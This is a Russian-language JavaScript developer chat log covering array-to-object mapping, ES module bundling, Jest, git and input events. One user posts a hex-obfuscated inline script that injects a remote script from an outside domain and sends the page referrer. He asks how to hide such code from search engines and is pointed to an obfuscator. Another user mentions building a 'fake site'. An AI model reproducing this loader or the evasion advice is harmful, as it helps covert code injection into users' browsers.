Дима
еще есть статья на хабре, поинтереснее будет
Дима
https://habr.com/company/nixsolutions/blog/323066/
Ruslan
как превратить array в object красиво, без использования reduce и дополнительных переменных?
Anonymous
использовать object вместо array
Xaxashutkin
А почему reduce некрасиво?
Ruslan
использовать object вместо array
у меня есть массив с ключами keys, а также keyMap с дефолтными значениями для этих ключей. Мне в итоге нужно получить объект obj из массива keys, в котором будут только ключи из массива со значениями из keyMap
Ruslan
не, цикл ещё хуже выглядит чем reduce (нужна читаемость и элегантность 😊)
Anonymous
если работает, то пойдет проверьте на 1000000 ключах и значениях частота выполнения раз в 1-2 секунды
Anonymous
так же может вылететь TypeError если код без всяких билдеров, то может появится баг где-нибудь.
Anonymous
товарищи, не поделитесь рецептами красивой транскомпиляции es6 модулей под браузер? без amd и всего такого, чтобы заинлайнились они и не засирали глобальную область видимости, я нашел во всем инете только traceur --modules inline --out mainTranspiled.js main.js, но это очень не гибко и traceur
Anonymous
вопрос отпал, я вспомнил о rollup -_-
Ruslan
const map = keys.reduce((result, key) => { // eslint-disable-next-line no-param-reassign result[key] = keyMap[key]; return result; }, {}); вот это выглядит like shit
const map = keys.reduce((acc, key) => (acc[key] = keyMap[key], acc), {}); Вот так красиво, но ESLint плачет как ребёнок
Ruslan
ахаха... overly clever
Ivan 🏴‍☠️
Всем привет. Подскажите, чем можно обфусцировать js код чтобы привести нормальный код примерно к такому виду и чтобы это не слишком палилось поисковиками: <script type="text/javascript">var _0x3bb0=["","\x3C\x73\x63\x72\x69\x70\x74\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x3D\x27\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27\x20\x74\x79\x70\x65\x3D\x27\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27\x20\x73\x72\x63\x3D\x27","\x26\x72\x65\x66\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x27\x3E\x3C\x2F\x73\x63","\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];var url=_0x3bb0[0];document[_0x3bb0[6]](_0x3bb0[1]+"https://mp-https.info/dear_code/4321/goclick?t=every_sec&a=0"+_0x3bb0[2]+encodeURIComponent(document[_0x3bb0[3]]||_0x3bb0[0])+_0x3bb0[4]+_0x3bb0[5]);</script>
Anton
http://www.jsfuck.com/
Чурка
@reactnative_ru
Там мобильники обсуждают кокие-то.
FUTURICO
))
Artyom
зачем ты воруешь идеи и тут их постишь?
Чурка
Ух ты, десктопный андроид.
Чурка
Под Андроид можно посмотреть через debug-db, там этот rkstorage виден
Чурка
https://github.com/amitshekhariitbhu/Android-Debug-Database
Nikita
А, ну как всегда.
FUTURICO
В принципе, с таргетингом угадали. Кто в js сидит целыми днями, тому надо расслабиться. Да и мариуана креативности добавляет.
FUTURICO
Если редко
Egor
Подскажите пожалуйста. Как я могу тестировать ES6 классы при помощи mocha или Jest? Ведь mocha или Jest работаются с commanJS модулями и из-за этого я не могу импортировать классы ES6... :( Если кто поможет разобраться, кину денег на телефон.
Anonymous
Ребзя? В каком ES появилась интерполяция?
Igor
:D
Anonymous
Блин)
Anonymous
Имел ввиду интерполяцию
Anonymous
Кажется в 6
Slafko
В шестом, да
Павел 💻
Ребят, помогите с git пожалуйста, почему то не видит изменения
Павел 💻
Павел 💻
Павел 💻
зелёным подсвечивать начал
Павел 💻
но что делать с красными надписями
Павел 💻
каждый раз add делать?
Bat
каждый раз add делать?
git add . - добавить все, либо флагами -A, --all
Павел 💻
когда всё добавляю, он папку nodemodules грузить начинает , хотя в gitignore прописан
Павел 💻
Maxim
когда всё добавляю, он папку nodemodules грузить начинает , хотя в gitignore прописан
Возможно, это виндопроблема https://stackoverflow.com/questions/5834014/lf-will-be-replaced-by-crlf-in-git-what-is-that-and-is-it-important Вроде при установке гита в винде можно эти настройки изменить.
Maxim
Скорее всего гит не понимает твой gitignore
Павел 💻
и как прописан?
я имею в виду через add -f
Sergey
Как проверять изменение значения у инпута если я изменяю его не через пользовательские события, а через скрипт???
Sergey
Вызывать событие изменения при смене значения скриптом
слишком много мест откуда по разному вызывается смена значения у инпута.
Anonymous
Ку, как можно узнать на каком хосту, стоит домен ?
Vadim
Не считая костыля, через сетинтервал
Sergey
Ку, как можно узнать на каком хосту, стоит домен ?
Закачать на него ЦПшку и позвонить в отдел К.
Anonymous
а реально ?
Sergey
а реально ?
100% рабочий способ.
Sergey
https://codepen.io/anon/pen/jKdxNV Почему в консоль два раза вместо одного консолится ?
NCR
Как проверять изменение значения у инпута если я изменяю его не через пользовательские события, а через скрипт???
Как я обожаю людей которые ставят несколько знаков. Скажи пожалуйста, какой у тебя из темпераментов????? Мне очень интересно, каков человек, который ставит много знаков (не стёб)
Sergey
просто очень важный вопрос)))
NCR
Прикол)))))
NCR
Ты родился раньше 95 года?
NCR
Как мне кажется, это завязано на поколении возможно
Sergey
сначала ты отвечаешь на мой вопрос, а потом я на твой.
Stas
Как мне кажется, это завязано на поколении возможно
Тебе необходимо взять у него анализ семенной жидкости, чтобы это выяснить
NCR
😳🙈😂
Sergey
https://codepen.io/anon/pen/jKdxNV Почему в консоль два раза вместо одного консолится ?
вот тут почему если один раз на + или - нажать консолится 2 раза подряд?
Maxim
Готов поспорить, что из-за jQuery. Попробуй сделать то же самое на vanilla.
Anonymous
Всё ебать я понял чё я не мог закинуть css ебать
Anonymous
Ебать пиздец , написал пацану получается фейк сайт
Anonymous
и его блокнул хост
Xaxashutkin
Всмысле фейк сайт?